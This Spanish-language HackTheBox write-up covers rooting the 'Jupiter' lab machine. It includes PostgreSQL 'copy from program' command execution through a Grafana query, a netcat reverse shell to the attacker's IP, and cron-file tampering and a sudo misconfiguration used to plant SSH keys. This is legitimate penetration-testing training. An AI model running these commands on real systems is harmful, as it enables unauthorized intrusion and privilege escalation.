Jupiter es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Jupiter 10.10.11.216 a /etc/hosts como jupiter.htb y comenzamos con el escaneo de puertos nmap.
Realizamos en primer lugar un escaneo simple y rápido para detectar los puertos abiertos.
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oA enumeration/nmap1 10.10.11.216 Nmap scan report for 10.10.11.216 Host is up, received user-set (0.040s latency). Scanned at 2023-06-03 20:49:21 GMT for 12s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sat Jun 3 20:49:33 2023 -- 1 IP address (1 host up) scanned in 12.70 seconds |
Y después un escaneo más completo sobre los puertos descubiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.10.11.216 Nmap scan report for 10.10.11.216 Host is up (0.043s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA) |_ 256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://jupiter.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Jun 3 20:49:56 2023 -- 1 IP address (1 host up) scanned in 10.04 seconds |
Enumeración
Una vez detectados los puertos, accedemos al portal web situado en el puerto 80 a través del navegador y vemos la siguiente página

En esta página no vemos nada interesante así que procedemos a enumerar directorios, ficheros, subdominios y encontramos un subdominio nuevo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
$ ffuf -u http://jupiter.htb -w /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.jupiter.htb" -t 50 -mc 200 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.5.0 Kali Exclusive <3 ________________________________________________ :: Method : GET :: URL : http://jupiter.htb :: Wordlist : FUZZ: /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.jupiter.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 50 :: Matcher : Response status: 200 ________________________________________________ kiosk [Status: 200, Size: 34390, Words: 2150, Lines: 212, Duration: 147ms] :: Progress: [114441/114441] :: Job [1/1] :: 1155 req/sec :: Duration: [0:01:45] :: Errors: 0 :: |
Añadimos el subdominio kiosk.jupiter.htb a nuestro fichero hosts y accedemos a través del navegador, donde vemos el siguiente dashboard desarrollado en grafana

Obteniendo una shell con el usuario postgres
No parece que encontramos nada por aquí, así que vamos a interceptar la petición de carga del dashboard con burp y descubrimos una petición interesante

En la carga del dashboard, hace una petición contra una base de datos en postgres, así que puede ser nuestro punto de acceso. Envíamos la petición al repeater de burp y tratamos de obtener los esquemas existentes en el servidor:

No encontramos nada por aqui así que vamos a probar a ejecutar comandos a través del postgres. Lanzaremos entonces las siguientes consultas.
Creamos en primer lugar la tabla cmd_exec con la salida de nuestro comando:
|
1 |
create table cmd_exec(cmd_output text); |
A continuación lanzaremos un copy indicando el comando que queremos lanzar
|
1 |
copy cmd_exec from program 'cat /etc/passwd'; |
Y como último paso leeremos la tabla:
|
1 |
select * from cmd_exec; |
Si revisamos ahora la respuesta recibida observamos que hemos obtenido el contenido del fichero passwd

Como vemos que la ejecución de comandos funciona, vamos a obtener una revshell con el siguiente comando
|
1 |
copy cmd_exec from program 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 4444 >/tmp/f &'; |
Y tenemos una shell con el usuario postgres
|
1 2 3 4 5 6 7 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.14] from (UNKNOWN) [10.10.11.216] 41640 /bin/sh: 0: can't access tty; job control turned off $ id uid=114(postgres) gid=120(postgres) groups=120(postgres),119(ssl-cert) $ |
Escalado al usuario juno
Ahora que ya estamos dentro, vamos a mejorar nuestra shell con python
|
1 2 |
$ python3 -c 'import pty;pty.spawn("/bin/bash");' postgres@jupiter:/var/lib/postgresql/14/main$ |
Enumeramos la máquina y descubrimos un proceso interesante con pspy que ejecuta el usuario juno cada pocos minutos

Ejecuta el script shadow-simulation.sh con la plantilla en formato yaml situada en la ruta /dev/shm y que tiene el siguiente contenido
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
general: # stop after 10 simulated seconds stop_time: 10s # old versions of cURL use a busy loop, so to avoid spinning in this busy # loop indefinitely, we add a system call latency to advance the simulated # time when running non-blocking system calls model_unblocked_syscall_latency: true network: graph: # use a built-in network graph containing # a single vertex with a bandwidth of 1 Gbit type: 1_gbit_switch hosts: # a host with the hostname 'server' server: network_node_id: 0 processes: - path: /usr/bin/python3 args: -m http.server 80 start_time: 3s # three hosts with hostnames 'client1', 'client2', and 'client3' client: network_node_id: 0 quantity: 3 processes: - path: /usr/bin/curl args: -s server start_time: 5s |
Vista esta parte, revisamos los permisos del fichero, y podemos escribir sobre el
|
1 2 3 4 5 6 |
postgres@jupiter:/dev/shm$ ls -l ls -l total 32 -rw-rw-rw- 1 juno juno 815 Mar 7 12:28 network-simulation.yml -rw------- 1 postgres postgres 26976 Jun 5 11:23 PostgreSQL.520078526 drwxrwxr-x 3 juno juno 100 Jun 5 21:46 shadow.data |
Así que vamos a cambiarlo para que copie una clave ssh nuestra al authorized_keys del usuario juno y con eso poder acceder.
Crearemos entonces nuestra clave ssh y modificaremos el fichero yml con el siguiente contenido
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
general: # stop after 10 simulated seconds stop_time: 10s # old versions of cURL use a busy loop, so to avoid spinning in this busy # loop indefinitely, we add a system call latency to advance the simulated # time when running non-blocking system calls model_unblocked_syscall_latency: true network: graph: # use a built-in network graph containing # a single vertex with a bandwidth of 1 Gbit type: 1_gbit_switch hosts: # a host with the hostname 'server' server: network_node_id: 0 processes: - path: /usr/bin/python3 args: -m http.server 80 start_time: 3s # three hosts with hostnames 'client1', 'client2', and 'client3' client: network_node_id: 0 quantity: 1 processes: - path: cp args: /tmp/key /home/juno/.ssh/authorized_keys start_time: 5s |
Esperamos 2 minutos a que se ejecute de nuevo y podremos acceder con nuestra clave.
Obteniendo la flag de user
Con nuestra clave añadida, accedemos con el usuario juno y cogemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
$ ssh -i juno.pem juno@jupiter.htb Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon Jun 5 10:42:13 PM UTC 2023 System load: 0.04296875 Usage of /: 85.3% of 12.33GB Memory usage: 20% Swap usage: 0% Processes: 277 Users logged in: 0 IPv4 address for eth0: 10.10.11.216 IPv6 address for eth0: dead:beef::250:56ff:feb9:78da => / is using 85.3% of 12.33GB Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status Last login: Tue May 30 13:53:15 2023 from 10.10.14.46 juno@jupiter:~$ id uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science) juno@jupiter:~$ cat user.txt 1fxxxxxxxxxxxxxxxxxxxxxxxxxxxb2 juno@jupiter:~$ |
Escalado al usuario jovian
Una vez dentro enumeramos y descubrimos un puerto interesante
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
juno@jupiter:/opt/solar-flares$ netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN tcp 0 0 10.10.11.216:43756 10.10.14.14:4444 CLOSE_WAIT tcp 0 0 127.0.0.1:44054 127.0.0.1:3000 TIME_WAIT tcp 0 0 10.10.11.216:48266 10.10.14.14:5555 CLOSE_WAIT tcp 0 52 10.10.11.216:22 10.10.14.14:40426 ESTABLISHED tcp 0 0 10.10.11.216:44434 10.10.14.14:4444 CLOSE_WAIT tcp 0 0 10.10.11.216:59002 10.10.14.14:4444 CLOSE_WAIT tcp 0 0 127.0.0.1:5432 127.0.0.1:54806 ESTABLISHED tcp 0 0 10.10.11.216:55528 10.10.14.14:4445 CLOSE_WAIT tcp 0 1 10.10.11.216:50600 8.8.8.8:53 SYN_SENT tcp 0 0 127.0.0.1:54806 127.0.0.1:5432 ESTABLISHED tcp 0 0 10.10.11.216:44888 10.10.14.14:5555 CLOSE_WAIT tcp6 0 0 :::22 :::* LISTEN |
Si buscamos en google, el puerto 8888, corresponde al software Jupyter notebook, así que nos enviaremos el puerto con chisel para poder acceder.
Lanzamos el server en nuestro kali
|
1 2 3 4 |
$ ./chisel server -p 9000 --reverse 2023/06/05 22:58:26 server: Reverse tunnelling enabled 2023/06/05 22:58:26 server: Fingerprint 1t2OiOOkbg6Ah/JcQX29KCnkGpahKNnSXx+2corZ/jo= 2023/06/05 22:58:26 server: Listening on http://0.0.0.0:9000 |
Lanzamos el cliente
|
1 2 3 |
juno@jupiter:/tmp$ ./chisel client 10.10.14.14:9000 R:8888:127.0.0.1:8888 2023/06/05 22:58:02 client: Connecting to ws://10.10.14.14:9000 2023/06/05 22:58:02 client: Connected (Latency 46.464081ms) |
Y entramos a través del navegador

Necesitamos un token para poder acceder a la página así que buscamos en la máquina y vamos al directorio donde se encuentran los archivos de la aplicación
|
1 2 3 |
juno@jupiter:/opt$ ls -l total 4 drwxrwx--- 4 jovian science 4096 May 4 18:59 solar-flares |
Buscamos en los ficheros de log y encontramos el token que se crea cuando se levanta la aplicación
|
1 2 3 4 5 6 7 8 9 10 11 |
juno@jupiter:/opt/solar-flares/logs$ grep -rin paste -A1|sort|tail -10 jupyter-2023-05-05-03.log:12: Or copy and paste one of these URLs: jupyter-2023-05-05-03.log-13- http://localhost:8888/?token=c0dc3dc7a8ccbc8f12161717cb99e588c05af493a8ef44e9 jupyter-2023-05-05-54.log:12: Or copy and paste one of these URLs: jupyter-2023-05-05-54.log-13- http://localhost:8888/?token=86bc5bfe81160236c47c9ef49b0c30333685bd9bc1b4fabb jupyter-2023-05-30-46.log:12: Or copy and paste one of these URLs: jupyter-2023-05-30-46.log-13- http://localhost:8888/?token=afd87eff400a5006d19b6f7bf1b5541b7f716efbf847e440 jupyter-2023-05-30-53.log:12: Or copy and paste one of these URLs: jupyter-2023-05-30-53.log-13- http://localhost:8888/?token=99515a46ec9771332b4bdb8c6345f556d0b9033ebb857bfc jupyter-2023-06-05-23.log:12: Or copy and paste one of these URLs: jupyter-2023-06-05-23.log-13- http://localhost:8888/?token=234ed1f0c2a79c69769e5b3230f21df07b1ebd49f48673d0 |
Así que nos vamos al portal y accedemos con el token

En esta página podemos ver, editar o incluso crear nuestros propios ficheros y ejecutar su contenido, así que creamos un fichero python para obtener una revshell en la máquina

Ejecutamos y tendremos una shell con el usuario jovian en nuestra escucha
|
1 2 3 4 5 6 7 |
$ nc -lvp 4455 listening on [any] 4455 ... connect to [10.10.14.14] from jupiter.htb [10.10.11.216] 58544 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science) $ |
Escalado de privilegios
Al igual que hicimos con el anterior usuario, vamos a añadir nuestra clave ssh para no perder el acceso y tener que repetir los pasos.
Revisamos si el usuario tiene algún permiso de sudo
|
1 2 3 4 5 6 |
jovian@jupiter:~$ sudo -l Matching Defaults entries for jovian on jupiter: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User jovian may run the following commands on jupiter: (ALL) NOPASSWD: /usr/local/bin/sattrack |
Así que probamos e ejecutarlo, aunque parece que primero necesitamos crear un fichero de configuración
|
1 2 3 |
jovian@jupiter:/opt$ sudo /usr/local/bin/sattrack Satellite Tracking System Configuration file has not been found. Please try again! |
Así que revisamos el binario con strings y encontramos dos cosas interesantes, por un lado la ruta del fichero de configuración que como no existe tendremos que crearlo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
jovian@jupiter:/opt$ strings /usr/local/bin/sattrack|grep config /tmp/config.json tleroot not defined in config updatePerdiod not defined in config station not defined in config name not defined in config lat not defined in config lon not defined in config hgt not defined in config mapfile not defined in config texturefile not defined in config tlefile not defined in config su_lib_log_config _GLOBAL__sub_I__Z6configB5cxx11 |
Y por otro el nombre del repositorio original del código
|
1 2 3 |
jovian@jupiter:/tmp$ strings /usr/local/bin/sattrack|grep jovian /home/jovian/arftracksat/representation/stb_image.h /home/jovian/arftracksat/representation/asset_loader.cpp |
Así que nos iremos al github de la aplicación de arftracksat, copiaremos el fichero de configuración a la máquina y haremos una simple ejecución para ver su comportamiento
|
1 2 3 4 5 6 |
jovian@jupiter:/tmp$ sudo /usr/local/bin/sattrack Satellite Tracking System Get:0 http://10.10.14.14/../weather.txt [e] orbit_init_from_data:277: Invalid character found in offset 21 Satellites loaded freeglut failed to open display '' |
Devuelve un error debido a que necesita un display sobre el cual mostrar el contenido, pero esto no nos afecta en nuestro cometido.
Si revisamos el comportamiento del binario, crea el directorio indicado en la variable tlerrot, en caso de no existir, y sobre el cual guarda los ficheros que se le indique para su descarga remota, así que vamos a utilizarlo para añadir nuestra clave ssh al fichero authorized_keys de root.
Modificaremos entonces el fichero de configuración con el siguiente contenido:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
jovian@jupiter:/tmp$ cat config.json { "tleroot": "/root/.ssh/", "tlefile": "authorized_keys", "mapfile": "/root/root.txt", "texturefile": "/tmp/earth.png", "tlesources": [ "http://10.10.14.14/authorized_keys" ], "updatePerdiod": 1000, "station": { "name": "LORCA", "lat": 37.6725, "lon": -1.5863, "hgt": 335.0 }, "show": [ ], "columns": [ "name", "azel", "dis", "geo", "tab", "pos", "vel" ] } |
Y lo ejecutamos.
Obteniendo la flag de root
Si todo ha salida correctamente, nos conectamos por ssh con el usuario root y obtenemos nuestra flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
$ ssh -i juno.pem root@jupiter.htb Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Tue Jun 6 10:42:56 PM UTC 2023 System load: 0.0 Usage of /: 85.2% of 12.33GB Memory usage: 14% Swap usage: 0% Processes: 244 Users logged in: 1 IPv4 address for eth0: 10.10.11.216 IPv6 address for eth0: dead:beef::250:56ff:feb9:59ef => / is using 85.2% of 12.33GB Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings root@jupiter:~# id uid=0(root) gid=0(root) groups=0(root) root@jupiter:~# cat root.txt c0xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx04 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










